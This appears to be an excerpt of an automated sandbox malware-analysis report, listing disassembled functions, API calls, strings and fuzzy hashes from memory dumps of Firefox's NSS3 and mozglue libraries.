API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: f88d52dbd0211048b486381d0fe3e5dee1be9ed0706113840afbb01708acfbfb
Instruction ID: d0b9661b80ab4ee5b4595c11538c44a25277b77b0fb585f429d255a11098080e
Opcode Fuzzy Hash: f88d52dbd0211048b486381d0fe3e5dee1be9ed0706113840afbb01708acfbfb
Instruction Fuzzy Hash: 1D31D675A005859BEF005F69EC4486AB775EF45258B548174EC18C7B11EB31DC64C7E2

Function 6CBACEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CBACD93,?), ref: 6CBACEEE

Part of subcall function 6CBA14C0: TlsGetValue.KERNEL32 ref: 6CBA14E0
Part of subcall function 6CBA14C0: EnterCriticalSection.KERNEL32 ref: 6CBA14F5
Part of subcall function 6CBA14C0: PR_Unlock.NSS3 ref: 6CBA150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBACD93,?), ref: 6CBACEFC

Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA10F3
Part of subcall function 6CBA10C0: EnterCriticalSection.KERNEL32(?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA110C
Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1141
Part of subcall function 6CBA10C0: PR_Unlock.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1182
Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBACD93,?), ref: 6CBACF0B

Part of subcall function 6CBA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBA08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBACD93,?), ref: 6CBACF1D

Part of subcall function 6CB9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CB98D2D,?,00000000,?), ref: 6CB9FB85
Part of subcall function 6CB9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CB9FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBACD93,?), ref: 6CBACF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBACD93,?), ref: 6CBACF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CBACD93,?,?,?,?,?,?,?,?,?,?,?,6CBACD93,?), ref: 6CBACF78

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: bc4aabd346d0c80e6b18e376efc82f483dd473ca83fd8c753d9a16ccadab5616
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: DD11D8B5A082805BEB105FE67C41B6B75ECDF4914DF044039EC49D7741FB62D90D86B2

Function 6CA684E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA684F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA685AC

Part of subcall function 6CA67670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA6767F
Part of subcall function 6CA67670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA67693
Part of subcall function 6CA67670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA685B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA676A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA685B2

Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 8658f9b07c48ac36ad3aca27298442110a1878b20183c8eaf9ce47a3ca093f91
Instruction ID: 4ffad516f5ad4e660e8a075f0135b6e4b63d57e0d3d1317e57a6d598d24d8119
Opcode Fuzzy Hash: 8658f9b07c48ac36ad3aca27298442110a1878b20183c8eaf9ce47a3ca093f91
Instruction Fuzzy Hash: E92160742007029FEB14DB66D888A5B77B9AF4530DF14482DE55BC3B41DB31E989CB51

Function 6CB58C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB58C1B
EnterCriticalSection.KERNEL32 ref: 6CB58C34
PL_ArenaAllocate.NSS3 ref: 6CB58C65
PR_Unlock.NSS3 ref: 6CB58C9C
PR_Unlock.NSS3 ref: 6CB58CB6

Part of subcall function 6CBEDD70: TlsGetValue.KERNEL32 ref: 6CBEDD8C
Part of subcall function 6CBEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBEDDB4

Strings

KRAM, xrefs: 6CB58C8F

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: d6db147d858ae5491b6f06a318bfdec03bf9fcc771d2523cd2c1b8a8356b806b
Instruction ID: 00ab9f5c2cc331ba8f109e2640a8e164262880439a8e5ce05e4fc166e4ebcd9a
Opcode Fuzzy Hash: d6db147d858ae5491b6f06a318bfdec03bf9fcc771d2523cd2c1b8a8356b806b
Instruction Fuzzy Hash: 64218BB1A156418FD700AF78C484569BBF4FF45308F45896ED898CB711EB32D8AACB82

Function 6CA6F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA6F598), ref: 6CA6F621

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

GetCurrentThreadId.KERNEL32 ref: 6CA6F637
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8,?,?,00000000,?,6CA6F598), ref: 6CA6F645
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8,?,?,00000000,?,6CA6F598), ref: 6CA6F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA6F62A

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 271e25db9d290aee6100f0d69acd10cd741709a5aac414f66c41029229dba6a7
Instruction ID: e1230dbf371a67af1bb8c2835e0f2472133e38ad85a70abd628b75c4db06741c
Opcode Fuzzy Hash: 271e25db9d290aee6100f0d69acd10cd741709a5aac414f66c41029229dba6a7
Instruction Fuzzy Hash: FE11AB75201307AFC61C9F99ED48AD97779FB86358B544019E90587F01CB72AC56CBA0

Function 6CC52C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CC52CA0
PR_ExitMonitor.NSS3 ref: 6CC52CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CC52CD1
strdup.MOZGLUE(?), ref: 6CC52CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CC52D27

Strings

Loaded library %s (static lib), xrefs: 6CC52D22

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 01f0c5b4726720da16db7b476b02363c6606e7bab4b39ad166efe8a558fe2dcc
Instruction ID: 2d2d1588e1ac5d0cb31e1baad06c029adf57ed30e5128daeab53bb312bd1972c
Opcode Fuzzy Hash: 01f0c5b4726720da16db7b476b02363c6606e7bab4b39ad166efe8a558fe2dcc
Instruction Fuzzy Hash: B911E2B1B01250DFEB008F5AE858A6A77F4EB4535DF84802DD809C7B51F731E828CBA1

Function 6CBA0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB487ED,00000800,6CB3EF74,00000000), ref: 6CBA1000
PR_NewLock.NSS3(?,00000800,6CB3EF74,00000000), ref: 6CBA1016

Part of subcall function 6CC098D0: calloc.MOZGLUE(00000001,00000084,6CB30936,00000001,?,6CB3102C), ref: 6CC098E5

PL_InitArenaPool.NSS3(00000000,security,6CB487ED,00000008,?,00000800,6CB3EF74,00000000), ref: 6CBA102B
TlsGetValue.KERNEL32(00000000,?,?,6CB487ED,00000800,6CB3EF74,00000000), ref: 6CBA1044
free.MOZGLUE(00000000,?,00000800,6CB3EF74,00000000), ref: 6CBA1064

Strings

security, xrefs: 6CBA1025

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 477e22e8e5d286b656eb03a910acc065e3ee091f161ea15745cef4c1c247bcc6
Instruction ID: 913a3bd411b7752299659eb29c8572cb0fe4f2b78a7ca1417379902e1e514da7
Opcode Fuzzy Hash: 477e22e8e5d286b656eb03a910acc065e3ee091f161ea15745cef4c1c247bcc6
Instruction Fuzzy Hash: 57012530A082D0DBE7702FAE9C0864A7A7CFF02799F090115E888D7A51EB60C156DBD6

Function 6CA30EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA5D9F0,00000000), ref: 6CA30F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA30F3C
__Init_thread_footer.LIBCMT ref: 6CA30F50
FreeLibrary.KERNEL32(?,6CA5D9F0,00000000), ref: 6CA30F86

Strings

CoInitializeEx, xrefs: 6CA30F36
combase.dll, xrefs: 6CA30F18

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: befe13cb475e3075e151d213ee0b5eeb2e0c045609f43657464b49e7706a334a
Instruction ID: 324b6116a9bfaea7100e06c5bc36955410cde2cec50bea16e67e895b335053fb
Opcode Fuzzy Hash: befe13cb475e3075e151d213ee0b5eeb2e0c045609f43657464b49e7706a334a
Instruction Fuzzy Hash: BC118C746013579BDF1CCF94EE28A4A3BB4BB4A325B04C22DE909C2640E730A886CB65

Function 6CA6F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA34A68), ref: 6CA6945E
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA69470
Part of subcall function 6CA69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA69482
Part of subcall function 6CA69420: __Init_thread_footer.LIBCMT ref: 6CA6949F

GetCurrentThreadId.KERNEL32 ref: 6CA6F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA6F561

Part of subcall function 6CA694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA694EE
Part of subcall function 6CA694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA69508

GetCurrentThreadId.KERNEL32 ref: 6CA6F577
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6F585
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CA6F3A8
[I %d/%d] profiler_resume, xrefs: 6CA6F239
[I %d/%d] profiler_resume_sampling, xrefs: 6CA6F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CA6F56A

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 990b620fe7c797b4a2dc356019178bc9764a8ff7c38f2d0da1b8ca65454ec33e
Instruction ID: 70ac6283eb91a7ee71dffb7bc56c27c7f5d8166c4486fc51b3a22ca24010d02f
Opcode Fuzzy Hash: 990b620fe7c797b4a2dc356019178bc9764a8ff7c38f2d0da1b8ca65454ec33e
Instruction Fuzzy Hash: D0F0BB752003079FDA045BE5FD48A5D7B7DEB8525DF004119EA0583701CB318C468760

Function 6CA605F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA5CFAE,?,?,?,6CA231A7), ref: 6CA605FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA5CFAE,?,?,?,6CA231A7), ref: 6CA60616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA231A7), ref: 6CA6061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA231A7), ref: 6CA60627

Strings

<jemalloc>, xrefs: 6CA605FA, 6CA6060F
: (malloc) Error in VirtualFree(), xrefs: 6CA6061B, 6CA60625

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 80c61da07d1e57faeb617f1ddab91ebe3cdb50ddc9133611d495974ca372342f
Instruction ID: eada921d95df6d22be34097fcc0802e398aaae0c86e2f9a00239f16e59f82e13
Opcode Fuzzy Hash: 80c61da07d1e57faeb617f1ddab91ebe3cdb50ddc9133611d495974ca372342f
Instruction Fuzzy Hash: FBE08CE2A1111437F514225ABC86DBBB65CDBC6178F080139FD0D82301EA4AAD1E51F6

Function 6CBE2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBE3046

Part of subcall function 6CBCEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBCEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CBB7FFB), ref: 6CBE312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBE3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBE2E8B

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

Part of subcall function 6CBCF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CBB9BFF,?,00000000,00000000), ref: 6CBCF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CBB7FFA), ref: 6CBE2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBE317B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: b26e4a8d7e00af0fd78e37880d6895c85de956ee1be76f5591160824976ca9f3
Instruction ID: 0b734f4be6370feca3d96ed720b2dee7df8ee7defaa1698de26d2985dee9bacd
Opcode Fuzzy Hash: b26e4a8d7e00af0fd78e37880d6895c85de956ee1be76f5591160824976ca9f3
Instruction Fuzzy Hash: DAA1CB71A002599FDF24CF54CC80BEAB7B5EF49708F048199E9496B781E731AE85CF92

Function 6CBAED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CBAED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CBAEDCE

Part of subcall function 6CBA0BE0: malloc.MOZGLUE(6CB98D2D,?,00000000,?), ref: 6CBA0BF8
Part of subcall function 6CBA0BE0: TlsGetValue.KERNEL32(6CB98D2D,?,00000000,?), ref: 6CBA0C15

free.MOZGLUE(00000000,?,?,?,?,6CBAB04F), ref: 6CBAEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBAEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBAEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBAEEFB

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 1dbf8cb736a1be59842b9d2dab7603391730c6b244501da1dc07437b832f46b8
Instruction ID: fc4aab0bcd5b06569f7798891e8e44bf38a6bf5297e2d0cca75df2551db7bc6e
Opcode Fuzzy Hash: 1dbf8cb736a1be59842b9d2dab7603391730c6b244501da1dc07437b832f46b8
Instruction Fuzzy Hash: D2818FB5A042859FEB14CF99D880AAF77F5FF88308F144428E89597751D731E826CBA2

Function 6CA305F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae257e9a38f518fe36837e9bd83927d4b532b17c829979ad77438aed5850943
Instruction ID: 8126450921060c0714ebc1eecaf888eaa4b0de1b53b20138f3261b57c5286b42
Opcode Fuzzy Hash: dae257e9a38f518fe36837e9bd83927d4b532b17c829979ad77438aed5850943
